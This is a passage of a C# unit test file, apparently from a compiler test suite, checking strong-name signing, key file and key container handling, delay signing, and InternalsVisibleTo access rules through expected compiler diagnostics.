PubKeyFromKeyFileOptions_ReferenceResolver() { string keyFileDir = Path.GetDirectoryName(KeyPairFile); string keyFileName = Path.GetFileName(KeyPairFile); string s = "public class C {}"; var syntaxTree = Parse(s, @"IVTAndStrongNameTests\AnotherTempDir\temp.cs"); // verify failure with default resolver var comp = CreateCompilationWithMscorlib(s, options: TestOptions.ReleaseDll.WithCryptoKeyFile(keyFileName).WithStrongNameProvider(DefaultProvider)); comp.VerifyDiagnostics( // error CS7027: Error extracting public key from file 'KeyPairFile.snk' -- File not found. Diagnostic(ErrorCode.ERR_PublicKeyFileFailure).WithArguments(keyFileName, "File not found.")); Assert.True(comp.Assembly.Identity.PublicKey.IsEmpty); // verify success with custom assembly key file resolver with keyFileDir added to search paths comp = CSharpCompilation.Create( GetUniqueName(), new[] { syntaxTree }, new[] { MscorlibRef }, TestOptions.ReleaseDll.WithCryptoKeyFile(keyFileName).WithStrongNameProvider(GetProviderWithPath(keyFileDir))); Assert.Empty(comp.GetDiagnostics()); Assert.True(ByteSequenceComparer.Instance.Equals(PublicKey, comp.Assembly.Identity.PublicKey)); } [Fact] public void PubKeyFromKeyFileOptionsJustPublicKey() { string s = "public class C {}"; var other = CreateCompilationWithMscorlib(s, options: TestOptions.ReleaseDll.WithCryptoKeyFile(PublicKeyFile).WithDelaySign(true).WithStrongNameProvider(DefaultProvider)); other.VerifyDiagnostics(); Assert.True(ByteSequenceComparer.Instance.Equals(TestResources.SymbolsTests.General.snPublicKey.AsImmutableOrNull(), other.Assembly.Identity.PublicKey)); } [Fact] public void PubKeyFromKeyFileOptionsJustPublicKey_ReferenceResolver() { string publicKeyFileDir = Path.GetDirectoryName(PublicKeyFile); string publicKeyFileName = Path.GetFileName(PublicKeyFile); string s = "public class C {}"; var syntaxTree = Parse(s, @"IVTAndStrongNameTests\AnotherTempDir\temp.cs"); // verify failure with default resolver var comp = CreateCompilationWithMscorlib(s, options: TestOptions.ReleaseDll.WithCryptoKeyFile(publicKeyFileName).WithDelaySign(true).WithStrongNameProvider(DefaultProvider)); comp.VerifyDiagnostics( // error CS7027: Error extracting public key from file 'PublicKeyFile.snk' -- File not found. Diagnostic(ErrorCode.ERR_PublicKeyFileFailure).WithArguments(publicKeyFileName, "File not found."), // warning CS7033: Delay signing was specified and requires a public key, but no public key was specified Diagnostic(ErrorCode.WRN_DelaySignButNoKey) ); Assert.True(comp.Assembly.Identity.PublicKey.IsEmpty); // verify success with custom assembly key file resolver with publicKeyFileDir added to search paths comp = CSharpCompilation.Create( GetUniqueName(), new[] { syntaxTree }, new[] { MscorlibRef }, TestOptions.ReleaseDll.WithCryptoKeyFile(publicKeyFileName).WithDelaySign(true).WithStrongNameProvider(GetProviderWithPath(publicKeyFileDir))); Assert.Empty(comp.GetDiagnostics()); Assert.True(ByteSequenceComparer.Instance.Equals(PublicKey, comp.Assembly.Identity.PublicKey)); } [Fact] public void PubKeyFileNotFoundOptions() { string s = "public class C {}"; var other = CreateCompilationWithMscorlib(s, options: TestOptions.ReleaseDll.WithCryptoKeyFile("foo").WithStrongNameProvider(DefaultProvider)); other.VerifyDiagnostics( Diagnostic(ErrorCode.ERR_PublicKeyFileFailure).WithArguments("foo", "File not found.")); Assert.True(other.Assembly.Identity.PublicKey.IsEmpty); } [Fact] public void PubKeyFileBogusOptions() { var tempFile = Temp.CreateFile().WriteAllBytes(new byte[] { 1, 2, 3, 4 }); string s = "public class C {}"; CSharpCompilation other = CreateCompilationWithMscorlib(s, options: TestOptions.ReleaseDll.WithCryptoKeyFile(tempFile.Path)); //TODO check for specific error Assert.NotEmpty(other.GetDiagnostics()); Assert.True(other.Assembly.Identity.PublicKey.IsEmpty); } [Fact] public void PubKeyContainerBogusOptions() { string s = "public class C {}"; var other = CreateCompilationWithMscorlib(s, options: TestOptions.ReleaseDll.WithCryptoKeyContainer("foo").WithStrongNameProvider(DefaultProvider)); other.VerifyDiagnostics(Diagnostic(ErrorCode.ERR_PublicKeyContainerFailure, arguments: new object[] { "foo", "Keyset does not exist (Exception from HRESULT: 0x80090016)" })); Assert.True(other.Assembly.Identity.PublicKey.IsEmpty); } [Fact] public void KeyFileAttributeOptionConflict() { string s = @"[assembly: System.Reflection.AssemblyKeyFile(""bogus"")] public class C {}"; var other = CreateCompilationWithMscorlib(s, options: TestOptions.ReleaseDll.WithCryptoKeyFile(KeyPairFile).WithStrongNameProvider(DefaultProvider)); other.VerifyDiagnostics(Diagnostic(ErrorCode.WRN_CmdOptionConflictsSource).WithArguments("CryptoKeyFile", "System.Reflection.AssemblyKeyFileAttribute")); Assert.True(ByteSequenceComparer.Instance.Equals(PublicKey, other.Assembly.Identity.PublicKey)); } [Fact] public void KeyContainerAttributeOptionConflict() { string s = @"[assembly: System.Reflection.AssemblyKeyName(""bogus"")] public class C {}"; var other = CreateCompilationWithMscorlib(s, options: TestOptions.ReleaseDll.WithCryptoKeyContainer("RoslynTestContainer").WithStrongNameProvider(DefaultProvider)); other.VerifyDiagnostics(Diagnostic(ErrorCode.WRN_CmdOptionConflictsSource).WithArguments("CryptoKeyContainer", "System.Reflection.AssemblyKeyNameAttribute")); Assert.True(ByteSequenceComparer.Instance.Equals(PublicKey, other.Assembly.Identity.PublicKey)); } [Fact] public void KeyFileAttributeEmpty() { string s = @"[assembly: System.Reflection.AssemblyKeyFile("""")] public class C {}"; var other = CreateCompilationWithMscorlib(s, options: TestOptions.ReleaseDll.WithStrongNameProvider(DefaultProvider)); Assert.True(other.Assembly.Identity.PublicKey.IsEmpty); other.VerifyDiagnostics(); } [Fact] public void KeyContainerEmpty() { string s = @"[assembly: System.Reflection.AssemblyKeyName("""")] public class C {}"; var other = CreateCompilationWithMscorlib(s, options: TestOptions.ReleaseDll.WithStrongNameProvider(DefaultProvider)); Assert.True(other.Assembly.Identity.PublicKey.IsEmpty); other.VerifyDiagnostics(); } #endregion #region IVT Access Checking [Fact] public void IVTBasicCompilation() { string s = @"[assembly: System.Runtime.CompilerServices.InternalsVisibleTo(""WantsIVTAccess"")] public class C { internal void Foo() {} }"; var other = CreateCompilationWithMscorlib(s, options: TestOptions.ReleaseDll.WithStrongNameProvider(DefaultProvider)); var c = CreateCompilationWithMscorlib( @"public class A { internal class B { protected B(C o) { o.Foo(); } } }", new[] { new CSharpCompilationReference(other) }, assemblyName: "WantsIVTAccessButCantHave", options: TestOptions.ReleaseDll.WithStrongNameProvider(DefaultProvider)); //compilation should not succeed, and internals should not be imported. c.VerifyDiagnostics(Diagnostic(ErrorCode.ERR_BadAccess, "Foo").WithArguments("C.Foo()")); var c2 = CreateCompilationWithMscorlib( @"public class A { internal class B { protected B(C o) { o.Foo(); } } }", new[] { new CSharpCompilationReference(other) }, assemblyName: "WantsIVTAccess", options: TestOptions.ReleaseDll.WithStrongNameProvider(DefaultProvider)); Assert.Empty(c2.GetDiagnostics()); } [Fact] public void IVTBasicMetadata() { string s = @"[assembly: System.Runtime.CompilerServices.InternalsVisibleTo(""WantsIVTAccess"")] public class C { internal void Foo() {} }"; var otherStream = CreateCompilationWithMscorlib(s, options: TestOptions.ReleaseDll.WithStrongNameProvider(DefaultProvider)).EmitToStream(); var c = CreateCompilationWithMscorlib( @"public class A { internal class B { protected B(C o) { o.Foo(); } } }", references: new[] { AssemblyMetadata.CreateFromStream(otherStream, leaveOpen: true).GetReference() }, assemblyName: "WantsIVTAccessButCantHave", options: TestOptions.ReleaseDll.WithStrongNameProvider(DefaultProvider)); //compilation should not succeed, and internals should not be imported. c.VerifyDiagnostics(Diagnostic(ErrorCode.ERR_NoSuchMemberOrExtension, "Foo").WithArguments("C", "Foo")); otherStream.Position = 0; var c2 = CreateCompilationWithMscorlib( @"public class A { internal class B { protected B(C o) { o.Foo(); } } }", new[] { MetadataReference.CreateFromStream(otherStream) }, assemblyName: "WantsIVTAccess", options: TestOptions.ReleaseDll.WithStrongNameProvider(DefaultProvider)); Assert.Empty(c2.GetDiagnostics()); } [Fact] public void IVTSigned() { string s = @"[assembly: System.Runtime.CompilerServices.InternalsVisibleTo(""John, PublicKey=00240000048000009400000006020000002400005253413100040000010001002b986f6b5ea5717d35c72d38561f413e267029efa9b5f107b9331d83df657381325b3a67b75812f63a9436ceccb49494de8f574f8e639d4d26c0fcf8b0e9a1a196b80b6f6ed053628d10d027e032df2ed1d60835e5f47d32c9ef6da10d0366a319573362c821b5f8fa5abc5bb22241de6f666a85d82d6ba8c3090d01636bd2bb"")] public class C { internal void Foo() {} }"; var other = CreateCompilationWithMscorlib(s, options: TestOptions.ReleaseDll.WithCryptoKeyFile(KeyPairFile).WithStrongNameProvider(DefaultProvider), assemblyName: "Paul"); other.VerifyDiagnostics(); var requestor = CreateCompilationWithMscorlib( @"public class A { internal class B { protected B(C o) { o.Foo(); } } }", new MetadataReference[] { new CSharpCompilationReference(other) }, TestOptions.ReleaseDll.WithCryptoKeyContainer("roslynTestContainer").WithStrongNameProvider(DefaultProvider), assemblyName: "John"); Assert.Empty(requestor.GetDiagnostics()); } [Fact] public void IVTErrorNotBothSigned() { string s = @"[assembly: System.Runtime.CompilerServices.InternalsVisibleTo(""John, PublicKey=00240000048000009400000006020000002400005253413100040000010001002b986f6b5ea5717d35c72d38561f413e267029efa9b5f107b9331d83df657381325b3a67b75812f63a9436ceccb49494de8f574f8e639d4d26c0fcf8b0e9a1a196b80b6f6ed053628d10d027e032df2ed1d60835e5f47d32c9ef6da10d0366a319573362c821b5f8fa5abc5bb22241de6f666a85d82d6ba8c3090d01636bd2bb"")] public class C { internal void Foo() {} }"; var other = CreateCompilationWithMscorlib(s, assemblyName: "Paul", options: TestOptions.ReleaseDll.WithStrongNameProvider(DefaultProvider)); other.VerifyDiagnostics(); var requestor = CreateCompilationWithMscorlib( @"public class A { internal class B { protected B(C o) { o.Foo(); } } }", references: new[] { new CSharpCompilationReference(other) }, assemblyName: "John", options: TestOptions.ReleaseDll.WithCryptoKeyFile(KeyPairFile).WithStrongNameProvider(DefaultProvider)); // We allow John to access Paul's internal Foo even though strong-named John should not be referencing weak-named Paul. // Paul has, after all, specifically granted access to John. // TODO: During emit time we should produce an error that says that a strong-named assembly cannot reference // TODO: a weak-named assembly. requestor.VerifyDiagnostics(); } [Fact] public void IVTDeferredSuccess() { string s = @"[assembly: System.Runtime.CompilerServices.InternalsVisibleTo(""John, PublicKey=00240000048000009400000006020000002400005253413100040000010001002b986f6b5ea5717d35c72d38561f413e267029efa9b5f107b9331d83df657381325b3a67b75812f63a9436ceccb49494de8f574f8e639d4d26c0fcf8b0e9a1a196b80b6f6ed053628d10d027e032df2ed1d60835e5f47d32c9ef6da10d0366a319573362c821b5f8fa5abc5bb22241de6f666a85d82d6ba8c3090d01636bd2bb"")] internal class CAttribute : System.Attribute { public CAttribute() {} }"; var other = CreateCompilationWithMscorlib(s, assemblyName: "Paul", options: TestOptions.ReleaseDll.WithCryptoKeyFile(KeyPairFile).WithStrongNameProvider(DefaultProvider)); other.VerifyDiagnostics(); var requestor = CreateCompilationWithMscorlib( @" [assembly: C()] //causes optimistic granting [assembly: System.Reflection.AssemblyKeyName(""roslynTestContainer"")] public class A { }", new[] { new CSharpCompilationReference(other) }, assemblyName: "John", options: TestOptions.ReleaseDll.WithStrongNameProvider(DefaultProvider)); Assert.True(ByteSequenceComparer.Instance.Equals(PublicKey, requestor.Assembly.Identity.PublicKey)); Assert.Empty(requestor.GetDiagnostics()); } [Fact] public void IVTDeferredFailSignMismatch() { string s = @"[assembly: System.Runtime.CompilerServices.InternalsVisibleTo(""John, PublicKey=00240000048000009400000006020000002400005253413100040000010001002b986f6b5ea5717d35c72d38561f413e267029efa9b5f107b9331d83df657381325b3a67b75812f63a9436ceccb49494de8f574f8e639d4d26c0fcf8b0e9a1a196b80b6f6ed053628d10d027e032df2ed1d60835e5f47d32c9ef6da10d0366a319573362c821b5f8fa5abc5bb22241de6f666a85d82d6ba8c3090d01636bd2bb"")] internal class CAttribute : System.Attribute { public CAttribute() {} }"; var other = CreateCompilationWithMscorlib(s, assemblyName: "Paul", options: TestOptions.ReleaseDll.WithStrongNameProvider(DefaultProvider)); //not signed. cryptoKeyFile: KeyPairFile, other.VerifyDiagnostics(); var requestor = CreateCompilationWithMscorlib( @" [assembly: C()] //causes optimistic granting [assembly: System.Reflection.AssemblyKeyName(""roslynTestContainer"")] public class A { }", new[] { new CSharpCompilationReference(other) }, assemblyName: "John", options: TestOptions.ReleaseDll.WithStrongNameProvider(DefaultProvider)); Assert.True(ByteSequenceComparer.Instance.Equals(PublicKey, requestor.Assembly.Identity.PublicKey)); requestor.VerifyDiagnostics(Diagnostic(ErrorCode.ERR_FriendRefSigningMismatch, null, new object[] { "Paul, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null" })); } [Fact] public void IVTDeferredFailKeyMismatch() { //key is wrong in the first digit. correct key starts with 0 string s = @"[assembly: System.Runtime.CompilerServices.InternalsVisibleTo(""John, PublicKey=10240000048000009400000006020000002400005253413100040000010001002b986f6b5ea5717d35c72d38561f413e267029efa9b5f107b9331d83df657381325b3a67b75812f63a9436ceccb49494de8f574f8e639d4d26c0fcf8b0e9a1a196b80b6f6ed053628d10d027e032df2ed1d60835e5f47d32c9ef6da10d0366a319573362c821b5f8fa5abc5bb22241de6f666a85d82d6ba8c3090d01636bd2bb"")] internal class CAttribute : System.Attribute { public CAttribute() {} }"; var other = CreateCompilationWithMscorlib(s, options: TestOptions.ReleaseDll.WithCryptoKeyFile(KeyPairFile).WithStrongNameProvider(DefaultProvider), assemblyName: "Paul"); other.VerifyDiagnostics(); var requestor = CreateCompilationWithMscorlib( @" [assembly: C()] //causes optimistic granting [assembly: System.Reflection.AssemblyKeyName(""roslynTestContainer"")] public class A { }", new MetadataReference[] { new CSharpCompilationReference(other) }, assemblyName: "John", options: TestOptions.ReleaseDll.WithStrongNameProvider(DefaultProvider)); Assert.True(ByteSequenceComparer.Instance.Equals(PublicKey, requestor.Assembly.Identity.PublicKey)); requestor.VerifyDiagnostics(Diagnostic(ErrorCode.ERR_FriendRefNotEqualToThis, null, new object[] { "Paul, Version=0.0.0.0, Culture=neutral, PublicKeyToken=ce65828c82a341f2" })); } [Fact] public void IVTSuccessThroughIAssembly() { string s = @"[assembly: System.Runtime.CompilerServices.InternalsVisibleTo(""John, PublicKey=00240000048000009400000006020000002400005253413100040000010001002b986f6b5ea5717d35c72d38561f413e267029efa9b5f107b9331d83df657381325b3a67b75812f63a9436ceccb49494de8f574f8e639d4d26c0fcf8b0e9a1a196b80b6f6ed053628d10d027e032df2ed1d60835e5f47d32c9ef6da10d0366a319573362c821b5f8fa5abc5bb22241de6f666a85d82d6ba8c3090d01636bd2bb"")] internal class CAttribute : System.Attribute { public CAttribute() {} }"; var other = CreateCompilationWithMscorlib(s, assemblyName: "Paul", options: TestOptions.ReleaseDll.WithCryptoKeyFile(KeyPairFile).WithStrongNameProvider(DefaultProvider)); other.VerifyDiagnostics(); var requestor = CreateCompilationWithMscorlib( @" [assembly: C()] //causes optimistic granting [assembly: System.Reflection.AssemblyKeyName(""roslynTestContainer"")] public class A { }", new MetadataReference[] { new CSharpCompilationReference(other) }, options: TestOptions.ReleaseDll.WithStrongNameProvider(DefaultProvider), assemblyName: "John"); Assert.True(((IAssemblySymbol)other.Assembly).GivesAccessTo(requestor.Assembly)); Assert.Empty(requestor.GetDiagnostics()); } [Fact] public void IVTDeferredFailKeyMismatchIAssembly() { //key is wrong in the first digit. correct key starts with 0 string s = @"[assembly: System.Runtime.CompilerServices.InternalsVisibleTo(""John, PublicKey=10240000048000009400000006020000002400005253413100040000010001002b986f6b5ea5717d35c72d38561f413e267029efa9b5f107b9331d83df657381325b3a67b75812f63a9436ceccb49494de8f574f8e639d4d26c0fcf8b0e9a1a196b80b6f6ed053628d10d027e032df2ed1d60835e5f47d32c9ef6da10d0366a319573362c821b5f8fa5abc5bb22241de6f666a85d82d6ba8c3090d01636bd2bb"")] internal class CAttribute : System.Attribute { public CAttribute() {} }"; var other = CreateCompilationWithMscorlib(s, options: TestOptions.ReleaseDll.WithCryptoKeyFile(KeyPairFile).WithStrongNameProvider(DefaultProvider), assemblyName: "Paul"); other.VerifyDiagnostics(); var requestor = CreateCompilationWithMscorlib( @" [assembly: C()] //causes optimistic granting [assembly: System.Reflection.AssemblyKeyName(""roslynTestContainer"")] public class A { }", new MetadataReference[] { new CSharpCompilationReference(other) }, TestOptions.ReleaseDll.WithStrongNameProvider(DefaultProvider), assemblyName: "John"); Assert.False(((IAssemblySymbol)other.Assembly).GivesAccessTo(requestor.Assembly)); requestor.VerifyDiagnostics(Diagnostic(ErrorCode.ERR_FriendRefNotEqualToThis, null, new object[] { "Paul, Version=0.0.0.0, Culture=neutral, PublicKeyToken=ce65828c82a341f2" })); } [WorkItem(820450, "DevDiv")] [Fact] public void IVTGivesAccessToUsingDifferentKeys() { string s = @"[assembly: System.Runtime.CompilerServices.InternalsVisibleTo(""John, PublicKey=00240000048000009400000006020000002400005253413100040000010001002b986f6b5ea5717d35c72d38561f413e267029efa9b5f107b9331d83df657381325b3a67b75812f63a9436ceccb49494de8f574f8e639d4d26c0fcf8b0e9a1a196b80b6f6ed053628d10d027e032df2ed1d60835e5f47d32c9ef6da10d0366a319573362c821b5f8fa5abc5bb22241de6f666a85d82d6ba8c3090d01636bd2bb"")] namespace ClassLibrary1 { internal class Class1 { } } "; var giver = CreateCompilationWithMscorlib(s, assemblyName: "Paul", options: TestOptions.ReleaseDll.WithCryptoKeyFile(SigningTestHelpers.KeyPairFile2).WithStrongNameProvider(DefaultProvider)); giver.VerifyDiagnostics(); var requestor = CreateCompilationWithMscorlib( @" namespace ClassLibrary2 { internal class A { public void Foo(ClassLibrary1.Class1 a) { } } }", new MetadataReference[] { new CSharpCompilationReference(giver) }, options: TestOptions.ReleaseDll.WithCryptoKeyFile(KeyPairFile).WithStrongNameProvider(DefaultProvider), assemblyName: "John"); Assert.True(((IAssemblySymbol)giver.Assembly).GivesAccessTo(requestor.Assembly)); Assert.Empty(requestor.GetDiagnostics()); } #endregion #region IVT instantiations [Fact] public void IVTHasCulture() { var other = CreateCompilationWithMscorlib( @" using System.Runtime.CompilerServices; [assembly: InternalsVisibleTo(""WantsIVTAccess, Culture=neutral"")] public class C { static void Foo() {} } ", options: TestOptions.ReleaseDll.WithStrongNameProvider(DefaultProvider)); other.VerifyDiagnostics(Diagnostic(ErrorCode.ERR_FriendAssemblyBadArgs, @"InternalsVisibleTo(""WantsIVTAccess, Culture=neutral"")").WithArguments("WantsIVTAccess, Culture=neutral")); } [Fact] public void IVTNoKey() { var other = CreateCompilationWithMscorlib( @" using System.Runtime.CompilerServices; [assembly: InternalsVisibleTo(""WantsIVTAccess"")] public class C { static void Main() {} } ", options: TestOptions.ReleaseExe.WithCryptoKeyFile(KeyPairFile).WithStrongNameProvider(DefaultProvider)); other.VerifyDiagnostics(Diagnostic(ErrorCode.ERR_FriendAssemblySNReq, @"InternalsVisibleTo(""WantsIVTAccess"")").WithArguments("WantsIVTAccess")); } #endregion #region Signing [Fact] public void SignIt() { var other = CreateCompilationWithMscorlib( @" public class C { static void Foo() {} }", options: TestOptions.ReleaseDll.WithCryptoKeyFile(KeyPairFile).WithStrongNameProvider(DefaultProvider)); var tempFile = Temp.CreateFile(); using (var outStrm = tempFile.Open()) { var success = other.Emit(outStrm); Assert.True(success.Success); } AssertFileIsSigned(tempFile); } private static void AssertFileIsSigned(TempFile file) { //TODO should check to see that the output was actually signed using (var metadata = new FileStream(file.Path, FileMode.Open)) { var flags = new PEHeaders(metadata).CorHeader.Flags; Assert.Equal(CorFlags.StrongNameSigned, flags & CorFlags.StrongNameSigned); } } void ConfirmModuleAttributePresentAndAddingToAssemblyResultsInSignedOutput(MemoryStream moduleContents, AttributeDescription expectedModuleAttr) { //a module doesn't get signed for real. It should have either a keyfile or keycontainer attribute //parked on a typeRef named 'AssemblyAttributesGoHere.' When the module is added to an assembly, the //resulting assembly is signed with the key referred to by the aforementioned attribute. EmitResult success; var tempFile = Temp.CreateFile(); moduleContents.Position = 0; using (var metadata = ModuleMetadata.CreateFromStream(moduleContents)) { var flags = metadata.Module.PEReaderOpt.PEHeaders.CorHeader.Flags; //confirm file does not claim to be signed Assert.Equal(0, (int)(flags & CorFlags.StrongNameSigned)); Handle token = metadata.Module.GetTypeRef(metadata.Module.GetAssemblyRef("mscorlib"), "System.Runtime.CompilerServices", "AssemblyAttributesGoHere"); Assert.False(token.IsNil); //could the type ref be located? If not then the attribute's not there. var attrInfos = metadata.Module.FindTargetAttributes(token, expectedModuleAttr); Assert.Equal(1, attrInfos.Count()); var source = @" public class Z { }"; //now that the module checks out, ensure that adding it to a compilation outputing a dll //results in a signed assembly. var assemblyComp = CreateCompilationWithMscorlib(source, new[] { metadata.GetReference() }, TestOptions.ReleaseDll.WithStrongNameProvider(DefaultProvider)); using (var finalStrm = tempFile.Open()) { success = assemblyComp.Emit(finalStrm); } } success.Diagnostics.Verify(); Assert.True(success.Success); AssertFileIsSigned(tempFile); } [Fact] public void SignModuleKeyFileAttr() { var x = KeyPairFile; string s = String.Format("{0}{1}{2}", @"[assembly: System.Reflection.AssemblyKeyFile(@""", x, @""")] public class C {}"); var other = CreateCompilationWithMscorlib(s, options: TestOptions.ReleaseModule.WithStrongNameProvider(DefaultProvider)); var outStrm = new MemoryStream(); var success = other.Emit(outStrm); Assert.True(success.Success); ConfirmModuleAttributePresentAndAddingToAssemblyResultsInSignedOutput(outStrm, AttributeDescription.AssemblyKeyFileAttribute); } [Fact] public void SignModuleKeyContainerAttr() { string s = @"[assembly: System.Reflection.AssemblyKeyName(""roslynTestContainer"")] public class C {}"; var other = CreateCompilationWithMscorlib(s, options: TestOptions.ReleaseModule.WithStrongNameProvider(DefaultProvider)); var outStrm = new MemoryStream(); var success = other.Emit(outStrm); Assert.True(success.Success); ConfirmModuleAttributePresentAndAddingToAssemblyResultsInSignedOutput(outStrm, AttributeDescription.AssemblyKeyNameAttribute); } [Fact] public void SignModuleKeyContainerBogus() { string s = @"[assembly: System.Reflection.AssemblyKeyName(""bogus"")] public class C {}"; var other = CreateCompilationWithMscorlib(s, options: TestOptions.ReleaseModule.WithStrongNameProvider(DefaultProvider)); //shouldn't have an error. The attribute's contents are checked when the module is added. var reference = other.EmitToImageReference(); s = @"class D {}"; other = CreateCompilationWithMscorlib(s, new[] { reference }, TestOptions.ReleaseDll.WithStrongNameProvider(DefaultProvider)); other.VerifyDiagnostics(Diagnostic(ErrorCode.ERR_PublicKeyContainerFailure).WithArguments("bogus", "Keyset does not exist (Exception from HRESULT: 0x80090016)")); } [Fact] public void SignModuleKeyFileBogus() { string s = @"[assembly: System.Reflection.AssemblyKeyFile(""bogus"")] public class C {}"; var other = CreateCompilationWithMscorlib(s, options: TestOptions.ReleaseModule.WithStrongNameProvider(DefaultProvider)); //shouldn't have an error. The attribute's contents are checked when the module is added. var reference = other.EmitToImageReference(); s = @"class D {}"; other = CreateCompilationWithMscorlib(s, new[] { reference }, TestOptions.ReleaseDll.WithStrongNameProvider(DefaultProvider)); other.VerifyDiagnostics(Diagnostic(ErrorCode.ERR_PublicKeyFileFailure).WithArguments("bogus", "File not found.")); } [WorkItem(531195, "DevDiv")] [Fact()] public void SignModuleKeyContainerCmdLine() { string s = "public class C {}"; var other = CreateCompilationWithMscorlib(s, options: TestOptions.ReleaseModule.WithCryptoKeyContainer("roslynTestContainer").WithStrongNameProvider(DefaultProvider)); var outStrm = new MemoryStream(); var success = other.Emit(outStrm); Assert.True(success.Success); ConfirmModuleAttributePresentAndAddingToAssemblyResultsInSignedOutput(outStrm, AttributeDescription.AssemblyKeyNameAttribute); } [WorkItem(531195, "DevDiv")] [Fact()] public void SignModuleKeyContainerCmdLine_1() { string s = @" [assembly: System.Reflection.AssemblyKeyName(""roslynTestContainer"")] public class C {}"; var other = CreateCompilationWithMscorlib(s, options: TestOptions.ReleaseModule.WithCryptoKeyContainer("roslynTestContainer").WithStrongNameProvider(DefaultProvider)); var outStrm = new MemoryStream(); var success = other.Emit(outStrm); Assert.True(success.Success); ConfirmModuleAttributePresentAndAddingToAssemblyResultsInSignedOutput(outStrm, AttributeDescription.AssemblyKeyNameAttribute); } [WorkItem(531195, "DevDiv")] [Fact()] public void SignModuleKeyContainerCmdLine_2() { string s = @" [assembly: System.Reflection.AssemblyKeyName(""bogus"")] public class C {}"; var other = CreateCompilationWithMscorlib(s, options: TestOptions.ReleaseModule.WithCryptoKeyContainer("roslynTestContainer").WithStrongNameProvider(DefaultProvider)); var outStrm = new MemoryStream(); var success = other.Emit(outStrm); Assert.False(success.Success); success.Diagnostics.Verify( // error CS7091: Attribute 'System.Reflection.AssemblyKeyNameAttribute' given in a source file conflicts with option 'CryptoKeyContainer'. Diagnostic(ErrorCode.ERR_CmdOptionConflictsSource).WithArguments("System.Reflection.AssemblyKeyNameAttribute", "CryptoKeyContainer") ); } [WorkItem(531195, "DevDiv")] [Fact()] public void SignModuleKeyFileCmdLine() { string s = "public class C {}"; var other = CreateCompilationWithMscorlib(s, options: TestOptions.ReleaseModule.WithCryptoKeyFile(KeyPairFile).WithStrongNameProvider(DefaultProvider)); var outStrm = new MemoryStream(); var success = other.Emit(outStrm); Assert.True(success.Success); ConfirmModuleAttributePresentAndAddingToAssemblyResultsInSignedOutput(outStrm, AttributeDescription.AssemblyKeyFileAttribute); } [WorkItem(531195, "DevDiv")] [Fact()] public void SignModuleKeyFileCmdLine_1() { var x = KeyPairFile; string s = String.Format("{0}{1}{2}", @"[assembly: System.Reflection.AssemblyKeyFile(@""", x, @""")] public class C {}"); var other = CreateCompilationWithMscorlib(s, options: TestOptions.ReleaseModule.WithCryptoKeyFile(KeyPairFile).WithStrongNameProvider(DefaultProvider)); var outStrm = new MemoryStream(); var success = other.Emit(outStrm); Assert.True(success.Success); ConfirmModuleAttributePresentAndAddingToAssemblyResultsInSignedOutput(outStrm, AttributeDescription.AssemblyKeyFileAttribute); } [WorkItem(531195, "DevDiv")] [Fact()] public void SignModuleKeyFileCmdLine_2() { var x = KeyPairFile; string s = @"[assembly: System.Reflection.AssemblyKeyFile(""bogus"")] public class C {}"; var other = CreateCompilationWithMscorlib(s, options: TestOptions.ReleaseModule.WithCryptoKeyFile(KeyPairFile).WithStrongNameProvider(DefaultProvider)); var outStrm = new MemoryStream(); var success = other.Emit(outStrm); Assert.False(success.Success); success.Diagnostics.Verify( // error CS7091: Attribute 'System.Reflection.AssemblyKeyFileAttribute' given in a source file conflicts with option 'CryptoKeyFile'. Diagnostic(ErrorCode.ERR_CmdOptionConflictsSource).WithArguments("System.Reflection.AssemblyKeyFileAttribute", "CryptoKeyFile")); } [Fact] public void SignItWithOnlyPublicKey() { var other = CreateCompilationWithMscorlib( @" public class C { static void Foo() {} }", options: TestOptions.ReleaseDll.WithCryptoKeyFile(PublicKeyFile).WithStrongNameProvider(DefaultProvider)); var outStrm = new MemoryStream(); var emitResult = other.Emit(outStrm); other.VerifyDiagnostics(Diagnostic(ErrorCode.ERR_SignButNoPrivateKey).WithArguments(PublicKeyFile)); other = other.WithOptions(TestOptions.ReleaseModule.WithCryptoKeyFile(PublicKeyFile)); var assembly = CreateCompilationWithMscorlib("", references: new[] { other.EmitToImageReference() }, options: TestOptions.ReleaseDll.WithStrongNameProvider(DefaultProvider)); assembly.VerifyDiagnostics(Diagnostic(ErrorCode.ERR_SignButNoPrivateKey).WithArguments(PublicKeyFile)); } [Fact] public void DelaySignItWithOnlyPublicKey() { var other = CreateCompilationWithMscorlib( @" [assembly: System.Reflection.AssemblyDelaySign(true)] public class C { static void Foo() {} }", options: TestOptions.ReleaseDll.WithCryptoKeyFile(PublicKeyFile).WithStrongNameProvider(DefaultProvider)); using (var outStrm = new MemoryStream()) { var emitResult = other.Emit(outStrm); Assert.True(emitResult.Success); } } [Fact] public void DelaySignButNoKey() { var other = CreateCompilationWithMscorlib( @" [assembly: System.Reflection.AssemblyDelaySign(true)] public class C { static void Foo() {} }", options: TestOptions.ReleaseDll.WithStrongNameProvider(DefaultProvider)); var outStrm = new MemoryStream(); var emitResult = other.Emit(outStrm); // Dev11: warning CS1699: Use command line option '/delaysign' or appropriate project settings instead of 'AssemblyDelaySignAttribute' // warning CS1607: Assembly generation -- Delay signing was requested, but no key was given // Roslyn: warning CS7033: Delay signing was specified and requires a public key, but no public key was specified other.VerifyDiagnostics(Diagnostic(ErrorCode.WRN_DelaySignButNoKey)); Assert.True(emitResult.Success); } [Fact] public void SignInMemory() { var other = CreateCompilationWithMscorlib( @" public class C { static void Foo() {} }", options: TestOptions.ReleaseDll.WithCryptoKeyFile(KeyPairFile).WithStrongNameProvider(DefaultProvider)); var outStrm = new MemoryStream(); var emitResult = other.Emit(outStrm); Assert.True(emitResult.Success); } [Fact] public void DelaySignConflict() { var other = CreateCompilationWithMscorlib( @" [assembly: System.Reflection.AssemblyDelaySign(true)] public class C { static void Foo() {} }", options: TestOptions.ReleaseDll.WithDelaySign(false).WithStrongNameProvider(DefaultProvider)); var outStrm = new MemoryStream(); //shouldn't get any key warning. other.VerifyDiagnostics(Diagnostic(ErrorCode.WRN_CmdOptionConflictsSource).WithArguments("DelaySign", "System.Reflection.AssemblyDelaySignAttribute")); var emitResult = other.Emit(outStrm); Assert.True(emitResult.Success); } [Fact] public void DelaySignNoConflict() { var other = CreateCompilationWithMscorlib( @" [assembly: System.Reflection.AssemblyDelaySign(true)] public class C { static void Foo() {} }", options: TestOptions.ReleaseDll.WithDelaySign(true).WithCryptoKeyFile(KeyPairFile).WithStrongNameProvider(DefaultProvider)); var outStrm = new MemoryStream(); //shouldn't get any key warning. other.VerifyDiagnostics(); var emitResult = other.Emit(outStrm); Assert.True(emitResult.Success); } [Fact] public void 